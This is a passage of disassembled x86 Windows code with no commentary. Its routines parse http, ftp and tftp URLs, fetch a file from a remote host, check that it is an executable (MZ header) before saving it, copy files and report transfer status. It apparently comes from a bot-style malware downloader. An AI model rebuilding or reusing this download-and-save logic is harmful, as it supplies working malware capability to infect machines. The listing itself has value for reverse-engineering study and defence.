		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DF10
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
